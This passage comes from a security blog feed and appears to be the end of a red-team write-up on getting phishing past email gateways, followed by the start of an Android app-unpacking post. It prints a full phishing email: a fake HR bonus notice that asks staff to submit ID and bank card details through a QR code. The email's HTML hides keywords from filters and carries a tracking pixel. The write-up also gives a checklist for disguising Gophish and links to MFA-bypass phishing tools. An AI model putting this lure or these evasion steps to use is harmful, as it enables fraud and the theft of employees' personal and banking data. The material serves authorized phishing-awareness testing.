Received: by mx.zoho.com.cn with SMTPS id 1767106315677324.8435548055967;
    Tue, 30 Dec 2025 22:51:55 +0800 (CST)
Mime-Version: 1.0
Date: Tue, 30 Dec 2025 22:51:55 +0800
X-Priority: 1
MIME-Version: 1.0
Message-Id: &amp;#x3C;1767106315726641989.371082.1021737665213280689@hcss-ecs-18a4&gt;
Key: X-Mailer
Value: Zoho Mail
Subject: =?UTF-8?q?=E5=85=B3=E4=BA=8E2025=E5=B9=B4=E5=BA=A6=E8=A1=8C=E6=94=BF?= =?UTF-8?q?=E9=80=9A=E7=9F=A5-HR?=
From: attacker@phishing-sample.com
Importance: High
To: victim@target-corp.com
Content-Type: multipart/related;
 boundary=337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
X-ZohoCN-Virus-Status: 1
X-ZohoCN-Virus-Status: 1
X-Zoho-AV-Stamp: zmail-av-1.4.3/267.84.63
X-ZohoCNMailClient: External

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Type: multipart/alternative;
 boundary=19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d

--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8

=E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6 =E9=87=91=E5=A5=
=96=E7=BB=88=E5=B9=B4 =E5=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=
=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=9A =E7=9F=A5

=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=BD=EF=BC=9A

2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=E6=BB=A1=E7=BB=
=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=B8=80=E5=B9=B4=
=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=82=E7=8E=B0=E6=
=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8=E5=B9=B4=E7=BB=88=E5=A5=96=E9=87=91 =E5=
=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=
=A5=E4=BD=9C=EF=BC=81=E6=9C=AC=E6=AC=A1 =E5=A5=96=E7=BB=88=E5=B9=B4 =E5=B0=
=86=E6=8C=89=E6=9C=80=E6=96=B0=E8=96=AA=E9=85=AC =E6=A0=87=E5=87=86=E6=A0=
=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB=E7=BB=A9=E6=95=88 =E5=A5=96=E9=87=
=91=E3=80=81=E5=B9=B4=E7=BB=88=E5=88=86=E7=BA=A2 =E7=AD=89=E5=A4=9A=E9=A1=
=B9=E8=A1=A5=E8=B4=B4=E3=80=82

*=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A* =E5=9B=A0 =E7=BB=9F=E7=B3=
=BB=E5=8A=A1=E8=B4=A2 =E5=B9=B4=E7=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=
=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=A2 12=E6=9C=8829=E6=97=A518:00 =EF=BC=
=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=B9=
=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86 =E5=BB=B6=E8=BF=9F=E8=87=B3=
=E6=AC=A1=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE =EF=BC=81=E4=B8=BA=E9=81=BF=
=E5=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=
=94=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=
=B0=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82

*=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=95=EF=BC=9A*

* =E8=AF=B7=E6=89=AB =E6=8F=8F=E4=B8=8B=E6=96=B9=E4=BA=8C _ =E7=BB=B4 _ =E7=
=A0=81=E7=99=BB =E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A

* =E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=E5=8F=B7=E7=99=BB=
=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82
* =E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=E3=80=81=E8=BA=AB =
=E4=BB=BD =E8=AF=81=E5=8F=B7=E3=80=81=E9=93=B6. =E8=A1=8C. =E5=8D=A1=E5=8F=
=B7=E5=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=
=E8=AE=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=
=81=AF=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=
=B6=E4=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82
*=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A*

* =E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=AB=AF=E8=AE=BF=E9=97=
=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=AC=E5=8F=B8=E5=86=85=
=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82
* =E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=95=E6=89=93=E5=BC=80=
=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=E9=97=AE=E9=A2=98=EF=
=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@target-corp.com

=E4=BA=BA=E5=8A=9B=E8=B5=84=E6=BA=90=E9=83=A8

2025=E5=B9=B412=E6=9C=8828=E6=97=A5
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=3D&quot;zh-CN&quot;&gt;

&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=3D&quot;UTF-8&quot;&gt;
    &amp;#x3C;meta name=3D&quot;viewport&quot; content=3D&quot;width=3Ddevice-width, initial-scale=
=3D1.0&quot;&gt;
    &amp;#x3C;title&gt;2025=E9=80=9A=E7=9F=A5&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        /* =E5=9F=BA=E7=A1=80=E6=A0=B7=E5=BC=8F=E9=87=8D=E7=BD=AE */
        body {
            font-family: &apos;Microsoft YaHei&apos;, &apos;PingFang SC&apos;, Arial, sans-seri=
f;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* =E6=B7=B7=E6=B7=86=E4=B8=93=E7=94=A8=E6=A0=B7=E5=BC=8F=EF=BC=9A=
=E6=96=87=E5=AD=97=E5=8F=8D=E8=BD=AC */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=3D&quot;container&quot;&gt;
        &amp;#x3C;div class=3D&quot;header&quot;&gt;
                        =E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6&amp;#x3C;span=
 class=3D&quot;safe-txt&quot;&gt;=E9=87=91=E5=A5=96=E7=BB=88=E5=B9=B4&amp;#x3C;/span&gt;=E5=8F=91=E6=
=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=
=9A=E7=9F=A5
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=3D&quot;content&quot;&gt;
            &amp;#x3C;p&gt;=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=
=BD=EF=BC=9A&amp;#x3C;/p&gt;
            &amp;#x3C;p&gt;2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=
=E6=BB=A1=E7=BB=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=
=B8=80=E5=B9=B4=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=
=82=E7=8E=B0=E6=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x=
91D1;=E5=8F=91=E6=94=BE=
=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=A5=E4=BD=9C=EF=
=BC=81=E6=9C=AC=E6=AC=A1&amp;#x3C;span
                    class=3D&quot;safe-txt&quot;&gt;=E5=A5=96=E7=BB=88=E5=B9=B4&amp;#x3C;/span&gt;=
=E5=B0=86=E6=8C=89=E6=9C=80=E6=96=B0&amp;#x26;#x85AA;&amp;#x26;#x916C;=E6=A0=87=E5=87=86=E6=A0=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB&amp;#x26;#x7EE9;=
&amp;#x26;#x6548;=E5=A5=96=E9=87=91=E3=80=81&amp;#x26;#x5E74;&amp;#x26;#x7E=
C8;&amp;#x26;#x5206;&amp;#x26;#x7EA2;=E7=AD=89=
=E5=A4=9A=E9=A1=B9=E8=A1=A5=E8=B4=B4=E3=80=82
            &amp;#x3C;/p&gt;
            &amp;#x3C;div class=3D&quot;highlight-box&quot;&gt;
                &amp;#x3C;strong&gt;=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A&amp;#x3C;/stro=
ng&gt;=E5=9B=A0&amp;#x3C;span class=3D&quot;safe-txt&quot;&gt;=E7=BB=9F=E7=B3=BB=E5=8A=A1=E8=B4=A2&amp;#x3C;/=
span&gt;=E5=B9=B4=E7=
=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=
=A2 &amp;#x3C;span
                    class=3D&quot;urgent&quot;&gt;12=E6=9C=8829=E6=97=A518:00&amp;#x3C;/span&gt;=EF=
=BC=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=
=B9=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86&amp;#x3C;span
                    class=3D&quot;urgent&quot;&gt;=E5=BB=B6=E8=BF=9F=E8=87=B3=E6=AC=A1=
=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE&amp;#x3C;/span&gt;=EF=BC=81=E4=B8=BA=E9=81=BF=E5=
=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=94=
=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=B0=
=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82
            &amp;#x3C;/div&gt;
            &amp;#x3C;p&gt;&amp;#x3C;strong&gt;=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=
=95=EF=BC=9A&amp;#x3C;/strong&gt;&amp;#x3C;/p&gt;
            &amp;#x3C;ol class=3D&quot;step-list&quot;&gt;
                                &amp;#x3C;li&gt;=E8=AF=B7=E6=89=AB=E6=8F=8F=E4=B8=8B=E6=96=
=B9=E4=BA=8C&amp;#x3C;span style=3D&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;=E7=BB=B4&amp;#x3C;span
                        style=3D&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;=E7=A0=81=E7=99=BB&amp;#x3C;!=
-- login --&gt;=E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A&amp;#x3C;br&gt;&amp;#x3C;img src=3D&quot;cid:4279681=
432.png&quot;&gt;&amp;#x3C;/li&gt;
                &amp;#x3C;li&gt;=E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=
=E5=8F=B7=E7=99=BB=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82&amp;#x3C;/li&gt;
                                &amp;#x3C;li&gt;=E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=
=E3=80=81=E8=BA=AB=E4=BB=BD=E8=AF=81=E5=8F=B7=E3=80=
=81=E9=93=B6&amp;#x3C;span style=3D&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;=E8=A1=8C&amp;#x3C;span
                        style=3D&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;=E5=8D=A1=E5=8F=B7=E5=
=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=E8=AE=
=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=81=AF=
=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=B6=E4=
=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82&amp;#x3C;/li&gt;
            &amp;#x3C;/ol&gt;
            &amp;#x3C;div class=3D&quot;tips&quot;&gt;
                &amp;#x3C;strong&gt;=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A&amp;#x3C;/stro=
ng&gt;
                &amp;#x3C;ul style=3D&quot;padding-left: 20px; margin: 5px 0;&quot;&gt;
                    &amp;#x3C;li&gt;=E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=
=AB=AF=E8=AE=BF=E9=97=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=
=AC=E5=8F=B8=E5=86=85=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82&amp;#x3C;/li&gt;
                    &amp;#x3C;li&gt;=E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=
=95=E6=89=93=E5=BC=80=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=
=E9=97=AE=E9=A2=98=EF=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@t=
arget-corp.com&amp;#x3C;/li&gt;
                &amp;#x3C;/ul&gt;
            &amp;#x3C;/div&gt;
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=3D&quot;footer&quot;&gt;
            &amp;#x3C;p&gt;&amp;#x26;#x4EBA;&amp;#x26;#x529B;&amp;#x26;#x8D44;&amp;#x26;#x6E90;&amp;#x26;#x90E8;&amp;#x3C;/p&gt;            &amp;#x3C;p&gt;2025=E5=B9=B412=E6=9C=8828=E6=97=A5&amp;#x3C;/p&gt;
        &amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;

&amp;#x3C;img alt=3D&apos;&apos; style=3D&apos;display: none&apos; src=3D&apos;http://10.10.10.11/resourc=
e/image/pixel.png?id=3DsjD8aL5&apos;/&gt;&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d--

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Disposition: inline; filename=&quot;4279681432.png&quot;
Content-ID: &amp;#x3C;4279681432.png&gt;
Content-Transfer-Encoding: base64
Content-Type: image/png; name=&quot;4279681432.png&quot;

iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e--

‍```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AI分析如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138957-6af55f.BoWDuXox_cz307.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片957-6af55fd9-a33d-4e5c-9f29-190544108515&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156139078-c5ec94.jnPcPWhb_ZM28l1.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;AI分析截图2&quot;&gt;&lt;/p&gt;
&lt;p&gt;开始大批量的进行安全测试：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156139132-548bf0.D8s3nwtu_1I0NLS.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;大批量安全测试截图&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156139211-b5f65f.DFSxJxF8_29IpD2.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;最终测试截图&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x07 后记&lt;/h2&gt;
&lt;p&gt;这次从0到1的绕过之旅，历时4天，最终完成这个需求。&lt;/p&gt;
&lt;p&gt;随着AI技术的发展，邮件网关的检测能力会越来越强。下一步的研究方向可能包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用合法平台（如Google Docs、OneDrive）进行跳转&lt;/li&gt;
&lt;li&gt;转向SMS钓鱼（Smishing）等其他渠道&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;安全对抗是一场永无止境的竞赛。保持学习，持续创新。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;附录&lt;/h2&gt;
&lt;h3&gt;A. Gophish改造Checklist&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;- [ ] 移除 config.go 中的 ServerName
- [ ] 修改 models/email_request.go
  - [ ] 删除 X-Gophish-* 头
  - [ ] 伪造 X-Mailer
  - [ ] 添加业务邮件头
- [ ] 修改 models/campaign.go
  - [ ] 将 RecipientParameter 改为 &quot;id&quot;
- [ ] 修改 webhook/webhook.go
  - [ ] 重命名 SignatureHeader
- [ ] 修改 controllers/route.go
  - [ ] 混淆 /track 路由
  - [ ] 混淆 /report 路由
- [ ] 修改 controllers/phish.go
  - [ ] 实现 FakeNginx404
  - [ ] 添加 QR code 生成端点（可选）
- [ ] 修改 static/ 和 templates/
  - [ ] 重命名 gophish.css → app.css
  - [ ] 更新所有引用
- [ ] 测试构建和运行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;B. 参考资源&lt;/h3&gt;
&lt;h4&gt;Gophish官方资源&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.getgophish.com/&quot;&gt;Gophish官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gophish/gophish&quot;&gt;Gophish GitHub仓库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Gophish二次开发与改造&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sprocketsecurity.com/resources/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls&quot;&gt;Sprocket Security - Customizing Gophish&lt;/a&gt; - 详细介绍Gophish去指纹化改造方法&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/fin3ss3g0d/evilgophish&quot;&gt;EvilGoPhish&lt;/a&gt; - Gophish与Evilginx3集成方案，支持MFA绕过&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/puzzlepeaches/sneaky_gophish&quot;&gt;sneaky_gophish&lt;/a&gt; - Docker化的隐蔽Gophish部署方案&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/352858.html&quot;&gt;FreeBuf - Gophish钓鱼平台二次开发&lt;/a&gt; - 二维码替换功能实现&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/&quot;&gt;CSDN - 基于Gophish的钓鱼渗透测试平台&lt;/a&gt; - 平台化二次开发思路&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Evilginx与MFA绕过&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kgretzky/evilginx2&quot;&gt;Evilginx2 官方GitHub&lt;/a&gt; - 高级中间人钓鱼框架&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://help.evilginx.com/&quot;&gt;Evilginx3 文档&lt;/a&gt; - 最新版本使用指南&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://outpost24.com/blog/red-team-phishing-with-gophish-and-an-evilginx-proxy/&quot;&gt;outpost24 - Evilginx与Gophish组合使用&lt;/a&gt; - 红队钓鱼基础设施搭建&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;邮件网关绕过技术&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc5322&quot;&gt;邮件头安全最佳实践 (RFC 5322)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Fuzzing&quot;&gt;Fuzzing技术概述 (OWASP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sans.org/security-awareness-training/&quot;&gt;社会工程学防御指南 (SANS)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;红队钓鱼实战&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redteam.cafe/&quot;&gt;Red Team Cafe - Phishing Infrastructure&lt;/a&gt; - 红队钓鱼基础设施搭建&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hackenproof.com/&quot;&gt;HackenProof - Advanced Phishing Techniques&lt;/a&gt; - 高级钓鱼技术&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.tencent.com/developer/article/&quot;&gt;腾讯安全 - 钓鱼演练工具Gophish部署&lt;/a&gt; - 企业钓鱼演练实践&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;END&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>记一次失败的 逆向Android 16+数字加固+FlutterAPP踩坑</title><link>https://s4u2self.cc/blog/android-reverse-flutter-hardening</link><guid isPermaLink="true">https://s4u2self.cc/blog/android-reverse-flutter-hardening</guid><description>记一次失败的 逆向Android 16+数字加固+FlutterAPP踩坑</description><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这篇文章是我对近期分析“某金融”APP（v5.x 版本）的全过程复盘。&lt;/p&gt;
&lt;p&gt;事先声明：本人完全没有搞过 Android 逆向，仅仅也只是会用工具的初学者，有很多内容和想法都在 AI 的辅助下完成，避免不了出现勘误，感激不尽。&lt;/p&gt;
&lt;p&gt;本次逆向的背景极其特殊：目标运行在 &lt;strong&gt;Android 16&lt;/strong&gt; 系统上，使用了 &lt;strong&gt;Frida 17.5.1&lt;/strong&gt;，且 APP 不仅加了 &lt;strong&gt;360 强力壳&lt;/strong&gt;，核心业务逻辑还是基于 &lt;strong&gt;Flutter&lt;/strong&gt; 开发的。&lt;/p&gt;
&lt;p&gt;这就导致了一个有趣的现象：我原本准备好的“Java 层脱壳三板斧”全部失效，被迫转战 Native 层，最后还要解决高版本安卓的权限和环境问题。为了防止自己（或者后来的读者）忘掉这些基础操作，我也把最基础的环境搭建步骤记录在了第一部分。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;分析目标： Android APP&lt;/p&gt;
&lt;p&gt;运行环境：Google Pixel (Android 16), Magisk Root&lt;/p&gt;
&lt;p&gt;工具链：Frida 17.5.1, Blutter, SoFixer, JADX, Kali&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第一阶段：常规开局与基础脱壳教程&lt;/h2&gt;
&lt;p&gt;拿到 APK 后，查壳确认为 &lt;strong&gt;360 加固&lt;/strong&gt;。按照惯例，面对一代或二代壳，最快的办法就是利用 &lt;code&gt;frida-dexdump&lt;/code&gt; 从内存中暴力搜索并导出 DEX 文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764210708078-ca6100.CbqGhWLi_ZtTSqL.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;1.1 基础工具：frida-dexdump 使用指南&lt;/h3&gt;
&lt;p&gt;虽然这次在这个 APP 上栽了跟头，但这套流程对付大多数普通加固非常有效，这里先做一个备忘录。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;360 加固虽然会加密本地的 DEX 文件，但在 APP 运行时，必须把 DEX 解密加载到内存中给虚拟机执行。frida-dexdump 就是利用 Frida 脚本在内存中搜索 DEX 文件的特征头（dex\n035），然后把它“扣”出来。&lt;/p&gt;
&lt;p&gt;这对于对付&lt;strong&gt;一代壳&lt;/strong&gt;（整体加固）非常有效，对于部分二代壳（函数抽取）也能把整体结构 Dump 下来（虽然方法体可能是空的）。&lt;/p&gt;
&lt;p&gt;以下是详细的使用步骤：&lt;/p&gt;
&lt;h3&gt;1. 环境准备 (至关重要)&lt;/h3&gt;
&lt;p&gt;在使用 &lt;code&gt;frida-dexdump&lt;/code&gt; 之前，你必须确保你的 Frida 环境是通的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PC 端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;安装 Frida 工具包：&lt;code&gt;pip3 install frida-tools&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;安装 DexDump：&lt;code&gt;pip3 install frida-dexdump&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手机/模拟器端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;手机需要 &lt;strong&gt;Root&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;手机里必须运行 &lt;code&gt;frida-server&lt;/code&gt;，且版本最好与 PC 端的 Frida 版本一致。&lt;/li&gt;
&lt;li&gt;确保 ADB 连接正常 (&lt;code&gt;adb devices&lt;/code&gt; 能看到设备)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 基本使用模式&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;frida-dexdump&lt;/code&gt; 支持两种主要模式：&lt;strong&gt;Spawn（启动模式）&lt;/strong&gt;  和 &lt;strong&gt;Attach（附加模式）&lt;/strong&gt; 。&lt;/p&gt;
&lt;h4&gt;模式 A：附加模式 (推荐)&lt;/h4&gt;
&lt;p&gt;适用于应用已经运行，或者你需要手动绕过一些启动时的检测后再进行 Dump。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在手机上&lt;strong&gt;手动打开&lt;/strong&gt;目标 App，让它停留在主界面（此时壳代码通常已经运行完毕，DEX 已解密加载到内存）。&lt;/li&gt;
&lt;li&gt;在电脑终端运行命令：&lt;br&gt;
Bash&lt;/li&gt;
